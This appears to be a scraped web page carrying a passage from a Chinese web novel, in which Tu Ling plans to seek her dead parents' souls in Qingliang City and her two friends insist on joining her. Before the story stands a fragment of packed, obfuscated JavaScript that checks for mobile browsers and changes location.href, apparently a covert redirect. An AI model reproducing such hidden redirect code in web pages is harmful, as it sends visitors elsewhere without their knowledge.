l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14983098|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为你泄露天机,不可多言,你且自行参悟罢。”
涂灵气得一屁股坐在竹筏上:“你这神仙,我费尽千辛万苦助你归位,就这么点儿忙你都不帮?什么意思?”
昆崖气定神闲向她解释:“本座只是微末山神,掌方寸之地,而宇宙有大罗天三清境,四梵三界二十八天,许多事情我也无能为力。不过听闻有一法器,名唤浊欲鼎,可用它收纳魂魄,找到这个东西带去冥河,接下来就看你自己的了。”
涂灵皱眉琢磨,快速消化他说的东西,正想细问,抬头一看,昆崖竟然已经消失得无影无踪。
呵,这老神仙真是,跑得比贼还快!
涂灵回到土地庙,发现俞雅雅和大熊都呆呆地望着她。
“小宋哥来跟我们汇合吗?”
她摇头,拍了拍袍子站起身。
俞雅雅咬住下唇,深吸一口气:“你有什么打算?”
涂灵说:“我要去一个地方。”
“去哪儿?”
“清凉城。”
“行,一起。”俞雅雅说:“你是不是想甩开我和大熊?”
涂灵看着她,默然不语。
大熊道:“我们几个出生入死,好不容易活下来,干嘛要分开呢?”
“是觉得我和大熊会成为你的负担吗?”俞雅雅问。
涂灵抚摸额头,闭眼捏了捏眉心,不由发出一声轻叹。
大熊抬起袖子擦眼睛:“我知道自己没什么用,只会拖累你们……”
“要这么说,我也是个累赘。”俞雅雅垂下眸子:“肩不能扛手不能提,遇到事情就只会害怕。”
说着他俩忍不住抱头痛哭。
涂灵面无表情看着,终于开口:“我爸妈死了。”
“……”大熊和俞雅雅满脸鼻涕眼泪,呆愣地转过头:“啊?”
“我爸妈死了。”涂灵重复一遍:“就因为玩这个游戏,我回到家发现他们变成两具尸体,死得不明不白。”
“怎么会这样?”
“我也想知道,所以点进游戏找线索。”涂灵道:“昆崖让我去清凉城找父母的亡灵,带回现实世界,也许就能把他们救活。”
“清凉城是什么地方?”
涂灵摇头:“不知道,但肯定十分凶险,估计还会遇见更可怕的东西,你们跟着我只会陷入险境,没有好处。”
周遭静了几秒,俞雅雅和大熊对视一眼,随后跳到她跟前:“这么重要的事你怎么不早说?朋友本来就该齐心协力,要什么好处?再说这个破游戏到处都是险境,在一起人多力量大,才能渡过难关嘛。”
“对呀对呀。”大熊说:“我前两天就在想,只要有一个人回到现实,去另外两个人家里把他唤醒,那不就能逃出游戏了吗?”
“是呀!”俞雅雅激动得用力拍他肩膀:“我们都住在鹿城,为什么不交换地址电话呢!涂灵你别担心,我和大熊虽然不算聪明,可三个臭皮匠顶个诸葛亮,肯定比你单打独斗强啊!”
涂灵抚摸额头,心里有些抗拒这种热情,但不得不承认他们说的话也有一些道理。
于是三人交换住址和手机号,背下来,约定无论谁先回到现实,都要立刻去唤醒另外两个。
“启程上路吧。”
涂灵望着晦暗的天色,一会儿又要下雨了。
“那啥玩意儿?”大熊指着土地庙外弥漫的白雾,忽然大惊失色:“该不会是毒瘴吧?!”
涂灵眯起双眼:“毒瘴浑浊,没这么干净。”她心头猛地一跳:”我们要回去了!”
“回哪儿?!”大熊方寸大乱。
俞雅雅倒先反应过来,在被白雾吞噬之前大喊:“涂灵,等着我去找你,鹿城见——”